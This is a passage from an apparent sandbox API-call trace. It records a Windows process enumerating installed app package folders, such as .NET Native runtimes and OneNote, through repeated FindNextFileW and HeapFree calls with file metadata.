(in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdefbdb44, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd28e85c8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd28e85c8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.490] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0092.490] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.490] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4ffc0fdc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ffe7226, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x382a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="")) returned 1 [0092.490] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.491] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1096e68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae30dca7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xae30dca7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7D40~1.0_X")) returned 1 [0092.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.508] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e331a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10e331a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10e331a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.510] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.510] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd51152b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd51152b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd51152b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.510] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0092.510] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.510] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1155a2b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x11a1ee2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x11a1ee2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x570a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="")) returned 1 [0092.511] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.511] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c813b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad7e0bf4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad7e0bf4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIA22A~1.0_X")) returned 1 [0092.515] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.515] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12145f2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x123a84c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x123a84c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.516] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.516] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd478c3a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd478c3a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd478c3a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.516] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0092.516] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.516] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12b904f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x12d672a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x12d672a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="")) returned 1 [0092.516] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.517] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f6d5e4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad0dfe61, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad0dfe61, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEC84~1.0_X")) returned 1 [0092.527] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.528] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f6d5e4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f93841, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f93841, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.528] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.528] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd61c5d8, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd61c5d8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd6b4f3c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.529] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0092.529] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.529] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f93841, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33fb9a9b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33fb9a9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x57aa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="")) returned 1 [0092.529] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.529] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fb9a9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca2b3ac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaca2b3ac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI6E3E~1.0_X")) returned 1 [0092.529] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.529] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fdfcf4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33fdfcf4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33fdfcf4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.529] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.529] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd40665d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd40665d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd40665d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.529] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0092.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.530] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3402c1ab, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x34052404, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x34052404, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3fca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="")) returned 1 [0092.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.530] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404f13, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaee25a0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c25330e, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIBE4A~1.0_X")) returned 1 [0092.836] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.836] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b726069, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1b726069, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x1c1e0bec, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x297e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1 [0092.838] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.839] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdf70aeab, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa8fd1f17, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa8fd1f17, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.839] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0092.839] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.839] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7e4c36, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1b7e4c36, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x1c1e0bec, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x58ab0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="MRT100~1.DLL")) returned 1 [0092.839] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.839] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ac94c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaef00b37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1dc41199, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI7387~1.0_X")) returned 1 [0092.847] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.847] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d45b326, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1d45b326, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x1dbceaa0, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x297e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1 [0092.850] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.850] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfdbf898, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa904464d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa904464d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0092.850] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0092.850] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.852] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4f3cee, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1d4f3cee, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x1dbceaa0, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mrt100_app.dll", cAlternateFileName="MRT100~1.DLL")) returned 1 [0092.852] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.852] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460ee7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1ed095d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1ed095d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI20CB~1.0_X")) returned 1 [0092.855] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.855] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597b1fa2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x597b1fa2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x597b1fa2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="application.manifest", cAlternateFileName="")) returned 1 [0092.855] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.855] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594ad391, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x594ad391, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x594ad391, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.861] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.861] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c527fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf0838ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e1c43f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0092.864] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.864] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d3761e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x59d3761e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x59d3761e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso.acl", cAlternateFileName="")) returned 1 [0092.865] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.865] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e1c43f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf0862ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e4269d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="styles", cAlternateFileName="")) returned 1 [0092.865] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.865] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e1c43f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf0862ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e4269d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="styles", cAlternateFileName="")) returned 0 [0092.865] FindClose (in: hFindFile=0x582f88 | out: hFindFile=0x582f88) returned 1 [0092.865] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.866] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e4269d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf086b6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e4269d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="font", cAlternateFileName="")) returned 1 [0092.867] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.867] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e4269d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf0873c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x59e4269d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fonts", cAlternateFileName="")) returned 1 [0092.867] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.867] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e4269d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a00c2e3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5a00c2e3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x38dac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iacom2im.dll", cAlternateFileName="")) returned 1 [0092.903] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.903] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5acfe8e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf35a206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b07f008, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0092.913] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.913] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b07f008, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b07f008, 